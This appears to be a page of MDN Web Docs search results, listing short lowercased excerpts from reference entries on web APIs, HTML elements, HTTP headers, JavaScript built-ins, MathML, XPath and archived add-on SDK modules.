syntax var event = new rtcpeerconnectioniceevent(type, options); parameters type is a domstring containing the name of the event, like "icecandidate".
... options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event.
... if null, the event indicates the end of candidate gathering.
...And 6 more matches
SVGLengthList - Web APIs
an svglengthlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... note: starting in gecko 5.0,the svglengthlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svglength initialize(in svglength newitem) svglength getitem(in unsigned long index) svglength insertitembefore(in svglength newitem, in unsigned long index) svglength replaceitem(in svglength newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength newitem) properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitem...
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
...And 6 more matches
SVGNumberList - Web APIs
an svgnumberlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... note: starting in gecko 5.0,the svgnumberlist dom interface is now indexable and can be accessed like arrays.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
...And 6 more matches
SVGPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
... svgpathelement.createsvgpathsegcurvetocubicabs() returns a stand-alone, parentless svgpathsegcurvetocubicabs object.
... svgpathelement.createsvgpathsegcurvetoquadraticabs() returns a stand-alone, parentless svgpathsegcurvetoquadraticabs object.
...And 6 more matches
Sensor - Web APIs
WebAPISensor
this interface cannot be used directly.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... accelerometer ambientlightsensor gyroscope linearaccelerationsensor magnetometer orientationsensor properties sensor.activated read only returns a boolean indicating whether the sensor is active.
...And 6 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscriptionchange event is sent to the global scope of a serviceworker to indicate a change in push subscription that was triggered outside the application's control.
... bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example.
... consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail.
...And 6 more matches
ServiceWorkerRegistration - Web APIs
an active worker will control a serviceworkerclient if the client's url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) serviceworkerregistration.navigationpreload read only returns the instance of navigationpreloadmanager associated with the current service worker registration.
... event handlers serviceworkerregistration.onupdatefound read only an eventlistener property called whenever an event of type updatefound is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
... serviceworkerregistration.getnotifications() returns a promise that resolves to an array of notification objects.
...And 6 more matches
SharedWorker - Web APIs
the sharedworker interface represents a specific kind of worker that can be accessed from several browsing contexts, such as several windows, iframes or even workers.
... they implement an interface different than dedicated workers and have a different global scope, sharedworkerglobalscope.
... note: if sharedworker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host and port).
...And 6 more matches
SubtleCrypto.deriveKey() - Web APIs
the derivekey() method of the subtlecrypto interface can be used to derive a secret key from a master key.
... it's worth noting that the three key derivation algorithms you can use have quite different characteristics and are appropriate in quite different situations.
... extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
...And 6 more matches
Text - Web APIs
WebAPIText
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... text.iselementcontentwhitespace read only returns a boolean flag indicating whether or not the text node contains only whitespace.
... text.wholetext read only returns a domstring containing the text of all text nodes logically adjacent to this node, concatenated in document order.
...And 6 more matches
Touch() - Web APIs
WebAPITouchTouch
syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point.
... "clienty", optional and defaulting to 0, of type double, that is the vertical position of the touch on the client window of the user's screen, excluding any scroll offset.
... "screeny", optional and defaulting to 0, of type double, that is the vertical position of the touch on the user's screen.
...And 6 more matches
TreeWalker - Web APIs
a treewalker can be created using the document.createtreewalker() method.
...the possible values are: constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...And 6 more matches
URL.createObjectURL() - Web APIs
to release an object url, call revokeobjecturl().
... return value a domstring containing an object url that can be used to reference the contents of the specified source object.
... usage notes memory management each time you call createobjecturl(), a new object url is created, even if you've already created one for the same object.
...And 6 more matches
URL API - Web APIs
WebAPIURL API
the url api is a component of the url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and manipulates urls.
... the url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms' contents as a set of key/value pairs.
...in this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively.
...And 6 more matches
WakeLockSentinel - Web APIs
the wakelocksentinel interface of the screen wake lock api provides a handle to the underlying platform wake lock and can be manually released and reacquired.
... an acquired wakelocksentinel can be released manually via the release() method, or automatically via the platform wake lock.
... this can happen if the document becomes inactive or looses visibility, if the device is low on power or the user turns on a power save mode.
...And 6 more matches
WebGL2RenderingContext.getActiveUniforms() - Web APIs
possible values: gl.uniform_type: returns an array of glenum indicating the types of the uniforms.
... gl.uniform_size: returns an array of gluint indicating the sizes of the uniforms.
... gl.uniform_block_index: returns an array of glint indicating the block indices of the uniforms.
...And 6 more matches
Basic scissoring - Web APIs
in other cases, the fragments may be discarded altogether (so the pixel value is not updated), or it may interact with the already existing pixel value (such as when doing color blending for non-opaque elements in the scene).
...if they fail the test, they are immediately discarded, no further processing occurs, and pixels are not updated.
... because only fragments within the specified rectangular area successfully pass the scissor test, only pixels inside that area are updated, and we get a rectangle on the screen.
...And 6 more matches
WebGL tutorial - Web APIs
webgl enables web content to use an api based on opengl es 2.0 to perform 3d rendering in an html <canvas> in browsers that support it without the use of plug-ins.
...webgl elements can be mixed with other html elements and composited with other parts of the page or page background.
... this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics.
...And 6 more matches
Window.getSelection() - Web APIs
the window.getselection() method returns a selection object representing the range of text selected by the user or the current position of the caret.
... when cast to string, either by appending an empty string ("") or using selection.tostring(), this object returns the text selected.
... when called on an <iframe> that is not displayed (eg.
...And 6 more matches
Window: unhandledrejection event - Web APIs
the unhandledrejection event is sent to the global scope of a script when a javascript promise that has no rejection handler is rejected; typically, this is the window, but may also be a worker.
... bubbles no cancelable yes interface promiserejectionevent event handler property onunhandledrejection usage notes allowing the unhandledrejection event to bubble will eventually result in an error message being output to the console.
... you can prevent this by calling preventdefault() on the promiserejectionevent; see preventing default handling below for an example.
...And 6 more matches
WindowEventHandlers.onbeforeunload - Web APIs
at this point, the document is still visible and the event is still cancelable.
...}; typically, it is better to use window.addeventlistener() and the beforeunload event, instead of onbeforeunload.
... the html specification states that authors should use the event.preventdefault() method instead of using event.returnvalue to prompt the user.
...And 6 more matches
WritableStreamDefaultWriter.write() - Web APIs
the write() property of the writablestreamdefaultwriter interface writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
... note that what "success" means is up to the underlying sink; it might indicate simply that the chunk has been accepted, and not necessarily that it is safely saved to its ultimate destination.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
...And 6 more matches
XRInputSource - Web APIs
gripspaceread only an xrspace whose origin tracks the pose which is used to render objects which should appear as if they're held in the hand indicated by handedness.
... the orientation of this space indicates the angle at which the hand is gripping the object.
... handednessread only a domstring that indicates which hand the device represented by this xrinputsource is being used in, if any.
...And 6 more matches
XRInputSourceArray.forEach() - Web APIs
the xrinputsourcearray method foreach() executes the specified callback once for each input source in the array, starting at index 0 and progressing until the end of the list.
... syntax xrinputsourcearray.foreach(callback, thisarg); parameters callback a function to execute once for each entry in the array xrinputsourcearray.
... the callback accepts up to three parameters: currentvalue a xrinputsource object which is the value of the item from within the xrinputsourcearray which is currently being processed.
...And 6 more matches
XRTargetRayMode - Web APIs
typically a target ray is drawn from the source of the targeting system along the target ray in the direction in which the user is looking or pointing.
... the style of the ray is generally up to you, as is the method for indicating the endpoint of the ray.
... the targeted point or object might be indicated by drawing a shape or highlighting the targeted surface or object.
...And 6 more matches
XRWebGLLayer - Web APIs
the xrwebgllayer interface of the webxr device api provides a linkage between the webxr device (or simulated xr device, in the case of an inline session) and a webgl context used to render the scene for display on the device.
... although xrwebgllayer is currently the only type of framebuffer layer supported by webgl, it's entirely possible that future updates to the webxr specification may allow for other layer types and corresponding image sources.
... properties antialias read only a boolean value indicating whether or not the webgl context's framebuffer supports anti-aliasing.
...And 6 more matches
ARIA: contentinfo role - Accessibility
this section is commonly called a footer.
...landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
... using the <footer> element will automatically communicate a section has a role of contentinfo.
...And 6 more matches
ARIA: switch role - Accessibility
the aria switch role is functionally identical to the checkbox role, except that instead of representing "checked" and "unchecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off." this example creates a widget and assigns the aria switch role to it.
... <button type="button" role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> description the aria switch role is identical to the checkbox role, except instead of being "checked" or "unchecked", it is either "on" and "off." like the checkbox role, the aria-checked attribute is required.
...the developer is required to change the value of the aria-checked attribute dynamically when the switch is toggled.
...And 6 more matches
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
the solution is in an aria attribute called aria-labelledby.
... its parameter is a string that consists of the ids of the html elements you want to concatenate into a single accessible name.
... both aria-labelledby and aria-describedby are specified on the form element that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overridden by aria-labelledby.
...And 6 more matches
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism.
... along with placing them directly in the markup, aria attributes can be added to the element and updated dynamically using javascript code like this: // find the progress bar <div> in the dom.
...And 6 more matches
Block formatting context - Developer guides
table captions (elements with display: table-caption, which is the default for html table captions).
... formatting contexts affect layout, but typically, we create a new block formatting context for the positioning and clearing floats rather than changing the layout, because an element that establishes a new block formatting context will: contain internal floats.
...there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a bfc.
...And 6 more matches
disabled - HTML: Hypertext Markup Language
the user can neither edit nor focus on the control, nor it's form control descendants.
... this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls.
...if this attribute isn't set, the button can still be disabled from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled.
...And 6 more matches
HTML attribute: pattern - HTML: Hypertext Markup Language
the pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different from javascript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the start of the pattern and )$ at the end.
...56-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/> </label> </p> here we have 3 sections for a north american phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the pattern attribute set on each.
... specifying a pattern you can use the pattern attribute to specify a regular expression that the inputted value must match in order to be considered valid (see validating against a regular expression for a simple crash course on using regular expressions to validate inputs).
...And 6 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
the <em> element can be nested, with each level of nesting indicating a greater degree of emphasis.
... content categories flow content, phrasing content, palpable content.
... typically this element is displayed in italic type.
...And 6 more matches
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
this content is provided by an external application or other source of interactive content such as a browser plug-in.
... keep in mind that most modern browsers have deprecated and removed support for browser plug-ins, so relying upon <embed> is generally not wise if you want your site to be operable on the average user's browser.
... content categories flow content, phrasing content, embedded content, interactive content, palpable content.
...And 6 more matches
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
content categories flow content, phrasing content, palpable content.
... usage notes typical use cases for <mark> include: when used in a quotation (<q>) or block quote (<blockquote>), it generally indicates text which is of special interest but is not marked in the original source material, or material which needs special scrutiny even though the original author didn't think it was of particular importance.
... otherwise, <mark> indicates a portion of the document's content which is likely to be relevant to the user's current activity.
...And 6 more matches
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
as such, <option> can represent menu items in popups and other lists of items in an html document.
... content categories none.
... permitted content text, possibly with escaped characters (like &eacute;).
...And 6 more matches
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related content, such as images or form fields.
... paragraphs are block-level elements, and notably will automatically close if another block-level element is parsed before the closing </p> tag.
... content categories flow content, palpable content.
...And 6 more matches
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
if you include multiple <style> and <link> elements in your document, they will be applied to the dom in the order they are included in the document — make sure you include them in the correct order, to avoid unexpected cascade issues.
... in the same manner as <link> elements, <style> elements can include media attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as viewport width.
...it is critical to provide a nonce that cannot be guessed as bypassing a resource’s policy is otherwise trivial.
...And 6 more matches
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
a precise date in the gregorian calendar (with optional time and timezone information).
... content categories flow content, phrasing content, palpable content.
... datetime this attribute indicates the time and/or date of the element and must be in one of the formats described below.
...And 6 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
you should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block.
... if none of the semantic elements are appropriate for your use case (for example, if you simply need to show some content in a non-proportional font), you should consider using the <span> element, styling it as desired using css.
... content categories flow content, phrasing content, palpable content.
...And 6 more matches
dir - HTML: Hypertext Markup Language
the dir global attribute is an enumerated attribute that indicates the directionality of the element's text.
... it can have the following values: ltr, which means left to right and is to be used for languages that are written from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, which lets the user agent decide.
... this attribute can be overridden by the css properties direction and unicode-bidi, if a css page is active and the element supports these properties.
...And 6 more matches
inputmode - HTML: Hypertext Markup Language
it can have the following values: none no virtual keyboard.
... text (default value) standard input keyboard for the user's current locale.
... decimal fractional numeric input keyboard containing the digits and decimal separator for the user's locale (typically .
...And 6 more matches
Common MIME types - HTTP
application/octet-stream is the default value for all other cases.
...browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous behaviors.
...this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell s...
...And 6 more matches
Compression in HTTP - HTTP
for some documents, size reduction of up to 70% lowers the bandwidth capacity needs.
...compression happens at three different levels: first some file formats are compressed with specific optimized methods, then general encryption can happen at the http level (the resource is transmitted compressed from end to end), and finally compression can be defined at the connection level, between two nodes of an http connection.
...if text can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and video.
...And 6 more matches
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy is a policy set by the cross-origin-resource-policy http header that lets web sites and applications opt in to protection against certain requests from other origins (such as those issued with elements like <script> and <img>), to mitigate speculative side-channel attacks, like spectre, as well as cross-site script inclusion attacks.
... in response, chromium shipped cross-origin read blocking, which automatically protects certain resources (of content-type html, json and xml) against cross-origin reads.
... if the application does not serve a no-sniff directive, chromium will attempt to guess the content-type and apply the protection anyway.
...And 6 more matches
Access-Control-Allow-Origin - HTTP
the access-control-allow-origin response header indicates whether the response can be shared with requesting code from the given origin.
... header type response header forbidden header name no syntax access-control-allow-origin: * access-control-allow-origin: <origin> access-control-allow-origin: null directives * for requests without credentials, the literal value "*" can be specified, as a wildcard; the value tells browsers to allow requesting code from any origin to access the resource.
... attempting to use the wildcard with credentials will result in an error.
...And 6 more matches
Content-Language - HTTP
for example, if "content-language: de-de" is set, it says that the document is intended for german language speakers (however, it doesn't indicate the document is written in german.
...if you want to indicate which language the document is written in, use the lang attribute instead).
... header type entity header forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can only be 0-9, a-z, a-z, space or *,-.;=.
...And 6 more matches
Vary - HTTP
WebHTTPHeadersVary
the vary http response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
... it is used by the server to indicate which headers it used when selecting a representation of a resource in a content negotiation algorithm.
... directives * each request for a url is supposed to be treated as a unique and uncacheable request.
...And 6 more matches
Warning - HTTP
WebHTTPHeadersWarning
note: the warning header is soon to be deprecated; see warning (https://github.com/httpwg/http-core/issues/139) and warning: header & stale-while-revalidate (https://github.com/whatwg/fetch/issues/913) for more details.
... warning header fields can in general be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages.
...the first digit indicates whether the warning is required to be deleted from a stored response after validation.
...And 6 more matches
JavaScript language resources - JavaScript
ecmascript standardized by the ecma international standards organization in the ecma-262 and ecma-402 specifications.
... the following ecmascript standards have been approved or are being worked on: name links release date description current editions ecma-262 10th edition pdf, html, working draft, repository 2019 ecmascript 2019 language specification ecma-262 9th edition pdf, html, working draft, repository 2018 ecmascript 2018 language specification ecma-402 5th edition working draft, repository 2018 ecmascript 2018 internationalization api specification obsolete/historical editions ecma-262 pdf june 1997 ecmascript: a general purpose, cross-platform programming language.
... ecma-262 2nd edition pdf august 1998 ecmascript language specification.
...And 6 more matches
Array.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the array, or -1 if it is not present.
... syntax arr.lastindexof(searchelement[, fromindex]) parameters searchelement element to locate in the array.
...if the calculated index is less than 0, -1 is returned, i.e.
...And 6 more matches
Error.prototype.stack - JavaScript
the non-standard stack property of error objects offer a trace of which functions were called, in what order, from which line and file, and with what arguments.
... the stack string proceeds from the most recent calls to earlier ones, leading back to the original global scope call.
... description each step will be separated by a newline, with the first part of the line being the function name (if not a call from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number.
...And 6 more matches
Intl.NumberFormat - JavaScript
static methods intl.numberformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... instance methods intl.numberformat.prototype.format() getter function that formats a number according to the locale and formatting options of this numberformat object.
... intl.numberformat.prototype.formattoparts() returns an array of objects representing the number string in parts that can be used for custom locale-aware formatting.
...And 6 more matches
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
the intl.pluralrules.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and plural formatting options computed during initialization of this pluralrules object.
... syntax pluralrule.resolvedoptions() return value a new object with properties reflecting the locale and plural formatting options computed during the initialization of the given pluralrules object.
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 6 more matches
JSON.parse() - JavaScript
an optional reviver function can be provided to perform a transformation on the resulting object before it is returned.
... var j; function walk(holder, key) { // the walk method is used to recursively walk the resulting structure so // that modifications can be made.
... var k; var v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { if (object.prototype.hasownproperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // parsing happens in four stages.
...And 6 more matches
Map.prototype.forEach() - JavaScript
syntax mymap.foreach(callback([value][,key][,map])[, thisarg]) parameters callback function to execute for each entry of mymap.
... thisarg optional value to use as this when executing callback.
... description the foreach method executes the provided callback once for each key of the map which actually exist.
...And 6 more matches
Math - JavaScript
math is a built-in object that has properties and methods for mathematical constants and functions.
...you refer to the constant pi as math.pi and you call the sine function as math.sin(x), where x is the method’s argument.
... this means that different browsers can give a different result.
...And 6 more matches
Object.prototype.valueOf() - JavaScript
a (unary) plus sign can sometimes be used as a shorthand for valueof, e.g.
... description javascript calls the valueof method to convert an object to a primitive value.
... you rarely need to invoke the valueof method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
...And 6 more matches
Promise.prototype.finally() - JavaScript
when the promise is settled, i.e either fulfilled or rejected, the specified callback function is executed.
... this helps to avoid duplicating code in both the promise's then() and catch() handlers.
... syntax p.finally(onfinally); p.finally(function() { // settled (fulfilled or rejected) }); parameters onfinally a function called when the promise is settled.
...And 6 more matches
handler.apply() - JavaScript
the handler.apply() method is a trap for a function call.
... thisarg the this argument for the call.
... argumentslist the list of arguments for the call.
...And 6 more matches
Reflect.apply() - JavaScript
the static reflect.apply() method calls a target function with arguments as specified.
... syntax reflect.apply(target, thisargument, argumentslist) parameters target the target function to call.
... thisargument the value of this provided for the call to target.
...And 6 more matches
TypedArray.prototype.map() - JavaScript
the map() method creates a new typed array with the results of calling a provided function on every element in this typed array.
... syntax typedarray.map(mapfn[, thisarg]) parameters mapfn a callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
... array optional the typed array map() was called upon.
...And 6 more matches
TypedArray.prototype.reduce() - JavaScript
syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... array the typed array reduce was called upon.
...object to use as the first argument to the first call of the callback.
...And 6 more matches
TypedArray.prototype.reduceRight() - JavaScript
syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... array the typed array reduce was called upon.
...object to use as the first argument to the first call of the callback.
...And 6 more matches
encodeURIComponent() - JavaScript
the encodeuricomponent() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
... description encodeuricomponent() escapes all characters except: not escaped: a-z a-z 0-9 - _ .
...~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved characters var set2 = "-_.!~*'()"; // unescaped characters var set3 = "#"; // number sign var set4 = "abc abc 123"; // alphanumeric characters + space console.log(encodeuri(set1)); // ;,/?:@&=+$ console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // # console.log(encodeuri(set4)); // abc%20abc%20123 (the space gets encoded as %20) console.log(encodeuricomponent(set1)); // %3b%2c%2f%3f%3a%40%26%3d%2b%24 console.log(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // %23 console.log(encodeuricomponent(set4)); // abc%20abc%20123 (the space gets encoded as %20) note that a urierror will be thrown if one attempts to enco...
...And 6 more matches
for await...of - JavaScript
like the await operator, the statement can only be used inside an async function.
... examples iterating over async iterables you can also iterate over an object that explicitly implements async iterable protocol: const asynciterable = { [symbol.asynciterator]() { return { i: 0, next() { if (this.i < 3) { return promise.resolve({ value: this.i++, done: false }); } return promise.resolve({ done: true }); } }; } }; (async function() { for await (let num of asynci...
...terable) { console.log(num); } })(); // 0 // 1 // 2 iterating over async generators since the return values of async generators conform to the async iterable protocol, they can be looped using for await...of.
...And 6 more matches
throw - JavaScript
execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack.
... if no catch block exists among caller functions, the program will terminate.
... examples throw an object you can specify an object when you throw an exception.
...And 6 more matches
Statements and declarations - JavaScript
javascript applications consist of statements with an appropriate syntax.
... statements and declarations by category for an alphabetical listing see the sidebar on the left.
...if the condition is false, another statement can be executed.
...And 6 more matches
display - Web app manifests
the display mode changes how much of browser ui is shown to the user and can range from browser (when the full browser window is shown) to fullscreen (when the app is full-screened).
... note: you can selectively apply css to your app based on the display mode, using the display-mode media feature.
... this can be used to provide a consistent user experience between launching a site from an url and launching it from a desktop icon.
...And 6 more matches
<mfrac> - MathML
WebMathMLElementmfrac
this attribute is deprecated and will be removed in the future.
... this attribute is deprecated and will be removed in the future.
... the values medium, thin, and thick are deprecated and will be removed in the future.
...And 6 more matches
<ms> - MathML
WebMathMLElementms
by default, string literals are displayed as enclosed by double quotes (&quot;); by using the lquote and rquote attributes, you can set custom characters to display.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 6 more matches
<mstyle> - MathML
WebMathMLElementmstyle
displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas.
...the values before, after and duplicate are allowed.
...in addition, the scriptlevel attribute can never reduce the font size below scriptminsize in order to avoid unreadable small font sizes and depends on the multiplier specified in scriptsizemultiplier.
...And 6 more matches
Using dns-prefetch - Web Performance
when a browser requests a resource from a (third party) server, that cross-origin’s domain name must be resolved to an ip address before the browser can issue the request.
...while dns caching can help to reduce this latency, dns resolution can add significant latency to requests.
... for websites that open connections to many third parties, this latency can significantly reduce loading performance.
...And 6 more matches
XPath snippets - XPath
this article provides some xpath code snippets—simple examples of how to a few simple utility functions based on standard interfaces from the dom level 3 xpath specification that expose xpath functionality to javascript code.
... the snippets are functions you can use in the real world in your own code.
... node-specific evaluator function the following custom utility function can be used to evaluate xpath expressions on given xml nodes.
...And 6 more matches
XPath
it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.
... xpath is mainly used in xslt, but can also be used as a much more powerful way of navigating through the dom of any xml-like language document using xpathexpression, such as html and svg, instead of relying on the document.getelementbyid() or parentnode.queryselectorall() methods, the node.childnodes properties, and other dom core features.
... xpath uses a path notation (as in urls) for navigating through the hierarchical structure of an xml document.
...And 6 more matches
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
javascript/xslt bindings javascript can run xslt transformations through the xsltprocessor object.
...the stylesheet has to be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
... this can be done via xmlhttprequest or xmldocument.load().
...And 6 more matches
selection - Archive of obsolete content
usage registering for selection notifications to be notified when the user makes a selection, register a listener for the "select" event.
... each listener will be called after a selection is made.
... function mylistener() { console.log("a selection has been made."); } var selection = require("sdk/selection"); selection.on('select', mylistener); // you can remove listeners too.
...And 5 more matches
content/worker - Archive of obsolete content
but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui.
... parameters options : object required options: name type window object the content window to create javascript sandbox for communication with.
... optional options: name type contentscriptfile string,array the local file urls of content scripts to load.
...And 5 more matches
net/xhr - Archive of obsolete content
usage security concerns by default, the xmlhttprequest object grants full access to any protocol scheme, which means that it can be used to read from (but not write to) the host system's entire filesystem.
... it also has unfettered access to any local area networks, vpns, and the internet.
... threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties.
...And 5 more matches
Add a Context Menu Item - Archive of obsolete content
you don't need to add it: once you have constructed the item, it is automatically added in the correct context.
... the constructor in this case takes four options: label, context, contentscript, and onmessage.
... if these simple contexts aren't enough, you can define more sophisticated contexts using scripts.
...And 5 more matches
Listening for Load and Unload - Archive of obsolete content
if your add-on exports a function called main(), then that function will be called whenever the add-on is loaded, and it will be passed an object containing a string describing the reason it was loaded as well as any arguments passed to it.
... if your add-on exports a function called onunload(), then that function will be called when the add-on is unloaded, and it will be passed a string describing the reason it was unloaded.
...you can just place your add-on's code at the top level instead of wrapping it in a function assigned to exports.main().
...And 5 more matches
Using third-party modules (jpm) - Archive of obsolete content
the current tool is called jpm, and is based on node.js.
... you can use jpm from firefox 38 onwards.
... this article describes how you can use third-party modules with jpm.
...And 5 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
specifically, we create a rich tooltip that uses html instead of plain text.
